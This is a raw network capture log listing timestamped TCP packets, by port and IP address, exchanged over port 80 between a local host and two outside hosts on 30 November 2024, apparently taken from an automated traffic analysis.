Nov 30, 2024 09:44:27.977140903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.978590965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.978601933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.978636026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.978656054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.979775906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.979787111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.979830980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.981168032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.981178045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.981216908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.982685089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.982697964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.982743025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.033492088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.033590078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.033876896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.033932924 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.034070969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.034121037 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.034759998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.034810066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.035490990 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.035502911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.035578012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.036827087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.036880970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.037497044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.037552118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.038239956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.038254023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.038300991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.039597034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.039608955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.039650917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.040963888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.040973902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.041023970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.042342901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.042355061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.042397022 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.043744087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.043756962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.043801069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.045083046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.045094967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.045139074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.046401978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.046452999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.102525949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.102628946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.102905035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.102965117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.103600979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.103610992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.103661060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.104651928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.104762077 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.105376005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.105387926 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.105441093 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.106719971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.106784105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.107431889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.107445002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.107498884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.108793974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.108805895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.108881950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.110140085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.110158920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.110193968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.110239983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.111665010 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.111676931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.111721039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.111737967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.112910032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.112921953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.112970114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.114255905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.114265919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.114315033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.115758896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.115777016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.115813017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.115843058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.117312908 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.117325068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.117333889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.117367029 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.117403984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.159265995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.279136896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.613478899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.613559961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.613833904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.613886118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.614460945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.614520073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.614702940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.614749908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.615366936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.615420103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.616065025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.616077900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.616118908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.617456913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.617475033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.617511034 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.617537975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.618916988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.618930101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.618973017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.620192051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.620203018 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.620250940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.621717930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.621736050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.621771097 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.621798038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.622931004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.622945070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.622987986 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.624301910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.624313116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.624366999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.625821114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.625838041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.625873089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.625899076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.627351046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.627363920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.627405882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.628865957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.628879070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.628921032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.630394936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.630408049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.630418062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.630449057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.630459070 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.631911993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.631923914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.631964922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.633429050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.633440018 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.633486032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.634948015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.634959936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.634991884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.636502981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.636521101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.636533022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.636552095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.636580944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.637994051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.638036966 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.638067007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.638092995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.639529943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.639543056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.639584064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.641047955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.641060114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.641118050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.642560005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.642574072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.642613888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.644144058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.644157887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.644169092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.644197941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.644217968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.645581961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.645607948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.645625114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.645652056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.647140026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.647151947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.647191048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.648650885 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.648660898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.648698092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.650151968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.650171041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.650202990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.650228977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.651657104 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.651675940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.651685953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.651707888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.651717901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.653225899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.653235912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.653276920 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.654737949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.654751062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.654787064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.654813051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.656230927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.656250000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.656286001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.656300068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:28.657738924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.657749891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:28.657788992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:29.094635963 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:29.094657898 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:29.214715004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:29.214729071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:30.350805998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:30.350905895 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:30.398834944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:30.518838882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:30.855529070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:30.855619907 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:30.855998993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:30.856050968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.056659937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:31.056843996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.056952953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:31.057003975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.059112072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.233851910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:31.576924086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:31.577012062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.588161945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:31.708221912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:32.550154924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:32.550224066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:32.575855970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:32.695804119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:33.032629967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:33.032727957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:33.036233902 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:33.156605959 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:33.156702042 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:33.156864882 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:33.276736021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.550458908 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.550556898 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.550704956 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.550755024 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.551354885 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.551399946 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.551695108 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.551703930 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.551845074 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.552508116 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.552553892 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.553200006 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.553210020 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.553261042 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.553261042 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.554064035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.554075003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.554116011 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.670562029 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.670708895 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.670919895 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.670998096 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.674787998 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.674840927 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.683969021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.684051991 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.684216976 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.684293985 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.752616882 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.753102064 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.753209114 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.756817102 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.757144928 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.757184982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.763112068 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.765259027 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.765345097 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.765593052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.767113924 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.773670912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.773994923 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.774060011 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.782083988 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.782160997 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.782402992 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.782454967 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.790497065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.790548086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.790873051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.790919065 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.798923016 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.798974037 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.799232006 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.799285889 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.807324886 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.807380915 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.807657003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.807708979 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.815735102 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.815853119 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.816093922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.816164017 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.823362112 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.823420048 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.823731899 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.823786974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.830966949 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.831022024 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.927649975 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.927769899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.928334951 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.928392887 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.928915977 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.928966045 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.929207087 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.929256916 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.953753948 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.953809023 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.954003096 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.954055071 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.955068111 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.955120087 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.955441952 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.955506086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.959906101 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.959980965 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.960304022 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.960362911 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.964736938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.964793921 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.965034962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.965089083 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.969520092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.969574928 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.969842911 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.969896078 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.974260092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.974322081 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.974658012 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.974709034 CET	49759	80	192.168.2.4	185.215.113.16
